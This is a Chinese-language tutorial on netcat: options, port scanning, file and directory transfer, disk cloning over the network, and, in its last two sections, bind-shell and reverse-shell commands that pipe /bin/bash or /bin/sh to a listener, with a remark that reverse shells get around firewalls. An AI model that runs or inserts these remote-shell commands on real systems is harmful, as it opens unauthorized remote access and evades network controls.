nc(NetCat)命令

瑞士軍刀netcat官網:http://netcat.sourceforge.net/shell

安裝:yum install -y nc
查詢:rpm -q ncbash

語法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通訊端口>][-s<來源地址>][-v...][-w<超時秒數>][主機名稱][通訊端口...]
說明:執行本指令可設置路由器的相關參數。服務器

創建鏈接: nc [-options] hostname port[s] [ports] …
綁定端口等待鏈接: nc -l port [-options] [hostname] [port]網絡

參數:ssh

-g<網關> 設置路由器躍程通訊網關,最多可設置8個。tcp

-G<指向器數目> 設置來源路由指向器,其數值爲4的倍數。工具

-h 在線幫助。測試

-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通訊端口。.net

-l 使用監聽模式,管控傳入的資料。代理

-n 直接使用IP地址,而不經過域名服務器。

-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。

-p<通訊端口> 設置本地主機使用的通訊端口。

-r 亂數指定本地與遠端主機的通訊端口。

-s<來源地址> 設置本地主機送出數據包的IP地址。

-u 使用UDP傳輸協議。

-v 顯示指令執行過程。

-w<超時秒數> 設置等待連線的時間。

-z 使用0輸入/輸出模式,只在掃描通訊端口時使用。

★使用例:

1,鏈接到遠程主機
nc -nvv 192.168.0.1 80 //鏈接到80端口
2,監聽本地主機
建立默認tcp監聽:nc -l 80 //監聽本機的tcp 80端口。
建立udp監聽:nc -ul 9999

查看:netstat -antup |grep 9998
客戶端測試udp鏈接方法:nc -vuz 192.168.0.1 9999
客戶端測試tcp鏈接方法:nc -vz -w 2 192.168.0.1 9999 //超時2秒


3,超時
使用-w參數指定鏈接空閒超時的時間,默認爲秒數。鏈接超過指定時間將被斷開。-w參數在服務器端無效。
服務器端:nc -l 8080
客戶端: nc -w 60 192.168.0.1 8080 //-w 60指定60秒後自動斷開。

4,端口掃描
nc -z -v -n 192.168.1.1 21-25 //掃描21到25開放的端口
•能夠運行在TCP或者UDP模式,默認是TCP,-u參數調整爲udp.
-z 參數告訴netcat使用0 IO,鏈接成功後當即關閉鏈接, 不進行數據交換.
-v 參數指詳細輸出.
-n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名.

掃描udp端口:nc -vuz 192.168.0.1 80-90

5,聊天
服務器端:nc -l 8888 //監聽8888端口
客戶端: nc 服務端IP 8888
而後便可暢聊了。

6,文件傳輸
①文件從服務器傳輸到客戶端。
服務器命令:nc -l 8888 < file01.txt //當客戶端鏈接到服務器的8888端口時,文件file01.txt的內容就會傳給客戶端。
客戶端命令:nc -n 服務器IP 8888 > file02.txt //客戶端接收的文件內容重定向到file02.txt中

②文件從客戶端傳遞到服務器,此時,沒有必要改變服務器和客戶端的角色。方法是相似的,直接用如下命令傳遞便可。
服務器命令:nc -l 8888 > file01.txt
客戶端命令:nc -n 服務器IP 8888 < file02.txt

7,目錄傳輸
方法與上面文件傳輸相似,使用壓縮工具tar.
服務器命令:tar -cvf – dir_name | nc -l 8888 //壓縮後重定向給服務器。
客戶端命令:nc -n 服務器IP 8888 | tar -xvf - //接收到文件內容直接解壓縮

•使用bzip2壓縮效率高,節約帶寬。

服務器命令:tar -cvf – dir_name| bzip2 -z | nc -l 8888
客戶端命令:nc -n 服務器IP 8888 | bzip2 -d |tar -xvf -

8,克隆一個設備
若是你已經安裝配置一臺Linux機器而且須要重複一樣的操做對其餘的機器,而你不想在重複配置一遍。不在須要重複配置安裝的過程,
只啓動另外一臺機器的一些引導能夠克隆你的機器。
克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上
服務端:dd if=/dev/sda | nc -l 20000
客戶端;nc -n 服務器IP 8888 | dd of=/dev/sda
dd是一個從磁盤讀取原始數據的工具,我經過netcat服務器重定向它的輸出流到其餘機器而且寫入到磁盤中,
它會隨着分區表拷貝全部的信息。可是若是咱們已經作過度區而且只須要克隆root分區,咱們能夠根據咱們系統root分區的位置,更改sda 爲sda1,sda2.等等。

9,指定源地址
假設你的機器有多個地址,但願明確指定使用哪一個地址用於外部數據通信。咱們能夠在netcat中使用-s選項指定ip地址。

服務器端:nc -u -l 9999 < file.txt //服務器的IP:192.168.1.1
客戶端:nc -u 192.168.1.1 9999 -s 172.16.0.1 > file.txt //客戶端使用172.16.0.1創建鏈接。
該命令將綁定地址 172.16.0.1。

10,指定源端口
假設你的防火牆過濾除25端口外其它全部端口,你須要使用-p選項指定源端口。

服務器端:nc -l 20000
客戶端:nc 192.168.1.1 20000 25
使用1024之內的端口須要root權限。
該命令將在客戶端開啓25端口用於通信,不然將使用隨機端口。

11,打開一個shell
咱們已經用過遠程shell-使用telnet和ssh,可是若是這兩個命令沒有安裝而且咱們沒有權限安裝他們,咱們也可使用netcat建立遠程shell。
假設你的netcat支持 -c -e 參數(原生 netcat)。
服務器端:nc -l 20000 -e /bin/bash -i
客戶端:nc 192.168.1.1 20000

這裏咱們已經建立了一個netcat服務器而且表示當它鏈接成功時執行/bin/bash
假如netcat 不支持-c 或者 -e 參數(openbsd netcat),咱們仍然可以建立遠程shell

服務器端:
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo
這裏咱們建立了一個fifo文件,而後使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,
而後管道到netcat 運行的端口20000上。至此,咱們已經把netcat的輸出重定向到fifo文件中。
說明:
從網絡收到的輸入寫到fifo文件中
cat 命令讀取fifo文件而且其內容發送給sh命令
sh命令進程受到輸入並把它寫回到netcat。
netcat 經過網絡發送輸出到client
至於爲何會成功是由於管道使命令平行執行,fifo文件用來替代正常文件,由於fifo使讀取等待而若是是一個普通文件,cat命令會盡快結束並開始讀取空文件。
在客戶端僅僅簡單鏈接到服務器。

12,反向shell
反向shell是指在客戶端打開的shell。反向shell這樣命名是由於不一樣於其餘配置,這裏服務器使用的是由客戶提供的服務。

服務器端:nc -l 20000

在客戶端,簡單地告訴netcat在鏈接完成後,執行shell。

客戶端:nc 192.168.1.1 20000 -e /bin/bash

反向shell常常被用來繞過防火牆的限制,如阻止入站鏈接。例如,我有一個專用IP地址爲192.168.1.1,我使用代理服務器鏈接到外部網絡。若是我想從網絡外部訪問 這臺機器如1.2.3.4的shell,那麼我會用反向外殼用於這一目的。

相關文章
相關標籤/搜索